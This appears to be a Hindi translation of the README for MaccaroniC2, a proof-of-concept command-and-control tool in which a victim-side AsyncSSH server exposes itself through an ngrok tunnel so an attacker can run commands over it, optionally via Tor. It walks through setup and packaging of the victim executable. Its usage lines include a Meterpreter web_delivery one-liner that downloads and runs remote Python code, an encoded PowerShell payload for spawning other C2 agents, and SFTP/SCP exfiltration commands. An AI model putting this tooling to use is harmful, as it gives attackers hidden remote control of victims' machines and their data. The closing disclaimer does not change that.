
एक प्रूफ-ऑफ-कॉन्सेप्ट कमांड और नियंत्रण फ्रेमवर्क जो शक्तिशाली AsyncSSH पायथन लाइब्रेरी का उपयोग करता है, जो SSHv2 प्रोटोकॉल का एक एसिंक्रोनस क्लाइंट और सर्वर कार्यान्वयन प्रदान करती है, और ngrok एकीकरण के लिए PyNgrok रैपर का उपयोग करता है।

MaccaroniC2 एक प्रूफ-ऑफ-कॉन्सेप्ट कमांड और कंट्रोल फ्रेमवर्क है जो शक्तिशाली AsyncSSH पायथन लाइब्रेरी का उपयोग करता है, जो SSHv2 प्रोटोकॉल का एक एसिंक्रोनस क्लाइंट और सर्वर कार्यान्वयन प्रदान करती है और PyNgrok रैपर का उपयोग ngrok एकीकरण के लिए करती है। यह टूल एक विशिष्ट परिदृश्य के लिए प्रेरित है जहाँ विक्टिम AsyncSSH सर्वर चलाता है और बाहर की ओर एक टनल स्थापित करता है, जो हमलावर द्वारा कमांड प्राप्त करने के लिए तैयार रहता है।
हमलावर टनल के होस्टनेम और पोर्ट को पुनः प्राप्त करने के लिए Ngrok official API का लाभ उठाता है ताकि कनेक्शन स्थापित किया जा सके। यह दृष्टिकोण AsyncSSH द्वारा प्रदान की गई व्यापक क्षमताओं का लाभ उठाता है, जिसमें SFTP और SCP के लिए इसका एकीकृत समर्थन शामिल है, जो सुरक्षित और कुशल डेटा एक्सफिल्ट्रेशन और अधिक की सुविधा प्रदान करता है।
इसके अलावा, हमलावर SOCKS प्रॉक्सी का उपयोग करके सिस्टम कमांड भेज और निष्पादित कर सकता है, उदाहरण के लिए गुमनामी बढ़ाने के लिए TOR का उपयोग करके प्रदान किए गए लाभों का लाभ उठाता है।
SSH कुंजियों की एक जोड़ी उत्पन्न करने के लिए python3 gen_rsa.py चलाएँ। नव उत्पन्न id_rsa का उपयोग हमलावर द्वारा विक्टिम की मशीन पर चल रहे सर्वर से कनेक्ट करने के लिए किया जाता है।
asyncssh_server.py फ़ाइल को संपादित करें और नव उत्पन्न id_rsa.pub की सामग्री को pub_key वेरिएबल के अंदर रखें। asyncssh_server.py SFTP और SCP सुविधाओं के साथ SSHv2 प्रोटोकॉल का कार्यान्वयन प्रदान करता है। यह वह स्क्रिप्ट है जो विक्टिम द्वारा चलाई जाती है।
Ngrok साइट पर एक मुफ्त खाता बनाएँ और AUTH टोकन पर ध्यान दें।
asyncssh_server.py में token वेरिएबल में AUTH टोकन जोड़ें, इसे ngrok_tunnel() फंक्शन के अंदर हार्डकोड किया जाना चाहिए।
Ngrok वेबसाइट पर एक मुफ्त API कुंजी बनाएँ। उत्पन्न स्ट्रिंग पर ध्यान दें।
async_commander.py के साथ आप सर्वर को कोई भी कमांड भेज सकते हैं। यह Ngrok आधिकारिक API का उपयोग करके विक्टिम द्वारा सक्रिय किए गए Ngrok टनल के डोमेन और पोर्ट को स्वचालित रूप से अनुरोध करता है।
कृपया यह भी ध्यान दें कि id_rsa को async_commander.py के समान फ़ोल्डर में होना चाहिए।
विक्टिम मशीन पर सर्वर चलाएँ:
python3 asyncssh_server.py
हमलावर मशीन से socks प्रॉक्सी का उपयोग करके कमांड भेजें:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
प्रॉक्सी का उपयोग किए बिना कमांड भेजें:
python3 asyncssh_commander.py "whoami"
एक और C2 एजेंट (Powershell-Empire, Meterpreter, आदि) स्पॉन करें:
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Meterpreter web_delivery मॉड्यूल
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
सक्रिय टनल की सूची प्राप्त करें:
python3 get_endpoints.py
नई RSA कुंजी जोड़े उत्पन्न करें:
python3 gen_rsa.py
SFTP और SCP का उपयोग करना - आपको एक वैध उपयोगकर्ता नाम की आवश्यकता नहीं है, बस सही id_rsa
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
अधिक जानकारी के लिए संबंधित लेख देखें: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
अस्वीकरण: यह टूल केवल परीक्षण और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उचित प्राधिकरण वाले सिस्टम पर ही किया जाना चाहिए। इस टूल का कोई भी अनधिकृत या अवैध उपयोग सख्त वर्जित है। इस टूल के निर्माता इसके उपयोग से होने वाले किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेते हैं। कृपया इस टूल का उपयोग करते समय लागू कानूनों और विनियमों का अनुपालन सुनिश्चित करें। इसके अलावा, यह ध्यान रखना महत्वपूर्ण है कि इस टूल के साथ Ngrok का उपयोग कुछ प्लेटफार्मों की सेवा की शर्तों या नीतियों का उल्लंघन कर सकता है। संभावित खाता प्रतिबंध या व्यवधान से बचने के लिए किसी भी प्लेटफ़ॉर्म या सेवा के उपयोग की शर्तों की समीक्षा करना और उनका अनुपालन करना उचित है।
async_commander.py फ़ाइल के अंदर api_key वेरिएबल में API कुंजी स्ट्रिंग डालें। यह हमें ऑटोमेशन के दौरान सक्रिय टनल के Ngrok डोमेन और पोर्ट को स्वचालित रूप से पुनः प्राप्त करने की अनुमति देता है।
get_endpoints.py फ़ाइल के लिए भी यही चरण करें। यह स्क्रिप्ट सक्रिय टनल के बारे में विभिन्न उपयोगी जानकारी प्राप्त करती है।